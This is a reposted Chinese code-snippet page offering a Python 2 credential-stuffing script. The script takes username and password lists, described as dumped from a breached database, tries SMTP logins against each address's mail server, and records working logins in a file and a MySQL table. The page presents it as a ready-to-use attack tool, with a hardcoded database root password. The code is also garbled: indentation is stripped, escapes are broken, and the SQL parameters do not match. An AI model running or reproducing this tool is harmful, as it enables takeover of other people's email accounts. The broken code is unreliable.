python撞库脚本
发布时间:2020-05-24 23:16:36 所属栏目:Python 来源:互联网
导读:python撞库脚本
|
下面是脚本之家 jb51.cc 通过网络收集整理的代码片段。 脚本之家小编现在分享给大家,也给大家做个参考。 #conding=utf8
import smtplib
import os
import MySQLdb
#字典获取方法
def getdic(file):
dic = open(file).read()
diclist = dic.split("n")
return diclist
lenmax =0
#得到脱裤后的用户密码字典
userlist = getdic('map/smtpuser.txt')
passlist = getdic('map/smtppass.txt')
if len(userlist)>len(passlist):
lenmax=len(userlist)
else:
lenmax=len(passlist)
while lenmax !=0:
ctr = 0
num = lenmax-1
usr = userlist[num]
pas = passlist[num]
try:
if len(pas)>16 or usr=='' or pas=='' :
ctr = 1
continue
#ser为根据‘@’对邮箱地址进行切片获得域名
ser = usr.split('@')[1]
print num+1,":",usr,pas,#在和'smtp.'组合后获取服务器地址
server=smtplib.SMTP("smtp."+ser)
#尝试登录
server.login(usr,pas)
print "tt success",open('res/smtp.txt','a').write(usr+"r"+pas+"n")
db = MySQLdb.connect("127.0.0.1","root","4030aoii103","apathy")
cursor=db.cursor()
cursor.execute("SELECT max(id) FROM `mail`")
maxid = cursor.fetchall()[0][0]+1
#存入数据库
sql = "INSERT INTO `mail` VALUES (%s,%s,%s)"
try:
cursor.execute(sql,(maxid,ser))
db.commit()
print "get",except Exception,e:
db.rollback()
print e
finally:
db.close()
except Exception,e:
pass
finally:
lenmax-=1
if ctr==0:
print ' '
以上是脚本之家(jb51.cc)为你收集整理的全部代码内容,希望文章能够帮你解决所遇到的程序开发问题。 如果觉得脚本之家网站内容还不错,欢迎将脚本之家网站推荐给程序员好友。 (编辑:安卓应用网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
